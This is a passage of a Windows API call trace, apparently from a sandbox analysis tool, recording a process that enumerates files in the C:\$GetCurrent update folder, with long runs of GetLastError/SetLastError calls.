(lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0043.001] GetCurrentThreadId () returned 0x408 [0043.001] SetLastError (dwErrCode=0x0) [0043.001] GetLastError () returned 0x0 [0043.001] SetLastError (dwErrCode=0x0) [0043.001] GetLastError () returned 0x0 [0043.001] SetLastError (dwErrCode=0x0) [0043.001] GetLastError () returned 0x0 [0043.001] SetLastError (dwErrCode=0x0) [0043.001] GetLastError () returned 0x0 [0043.001] SetLastError (dwErrCode=0x0) [0043.001] GetLastError () returned 0x0 [0043.001] SetLastError (dwErrCode=0x0) [0043.001] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x33c00b0 [0043.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0043.003] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0043.003] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0043.003] GetLastError () returned 0x0 [0043.003] SetLastError (dwErrCode=0x0) [0043.003] GetLastError () returned 0x0 [0043.003] SetLastError (dwErrCode=0x0) [0043.003] GetLastError () returned 0x0 [0043.003] SetLastError (dwErrCode=0x0) [0043.003] GetLastError () returned 0x0 [0043.003] SetLastError (dwErrCode=0x0) [0043.003] GetLastError () returned 0x0 [0043.003] SetLastError (dwErrCode=0x0) [0043.003] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10000) returned 0x3d70048 [0043.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c9490 [0043.038] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.062] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.062] SetLastError (dwErrCode=0x0) [0043.062] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.063] GetLastError () returned 0x0 [0043.063] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.064] SetLastError (dwErrCode=0x0) [0043.064] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.065] GetLastError () returned 0x0 [0043.065] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.066] SetLastError (dwErrCode=0x0) [0043.066] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.067] SetLastError (dwErrCode=0x0) [0043.067] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.068] SetLastError (dwErrCode=0x0) [0043.068] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.069] SetLastError (dwErrCode=0x0) [0043.069] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.070] GetLastError () returned 0x0 [0043.070] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.071] GetLastError () returned 0x0 [0043.071] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.072] GetLastError () returned 0x0 [0043.072] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.073] SetLastError (dwErrCode=0x0) [0043.073] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] SetEvent (hEvent=0x2e8) returned 1 [0043.074] ResetEvent (hEvent=0x2ec) returned 1 [0043.074] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.074] SetLastError (dwErrCode=0x0) [0043.074] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.075] SetLastError (dwErrCode=0x0) [0043.075] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.076] SetLastError (dwErrCode=0x0) [0043.076] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.077] SetLastError (dwErrCode=0x0) [0043.077] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.078] SetLastError (dwErrCode=0x0) [0043.078] GetLastError () returned 0x0 [0043.079] SetLastError (dwErrCode=0x0) [0043.079] GetLastError () returned 0x0 [0043.079] SetLastError (dwErrCode=0x0) [0043.079] GetLastError () returned 0x0 [0043.079] SetLastError (dwErrCode=0x0) [0043.079] GetLastError () returned 0x0 [0043.079] SetLastError (dwErrCode=0x0) [0043.079] GetLastError () returned 0x0 [0043.079] SetLastError (dwErrCode=0x0) [0043.079] GetLastError () returned 0x0 [0043.079] SetLastError (dwErrCode=0x0) [0044.122] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.135] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.135] SetEvent (hEvent=0x2e8) returned 1 [0044.135] ResetEvent (hEvent=0x2ec) returned 1 [0044.135] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.135] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.135] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.139] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.165] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.165] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, 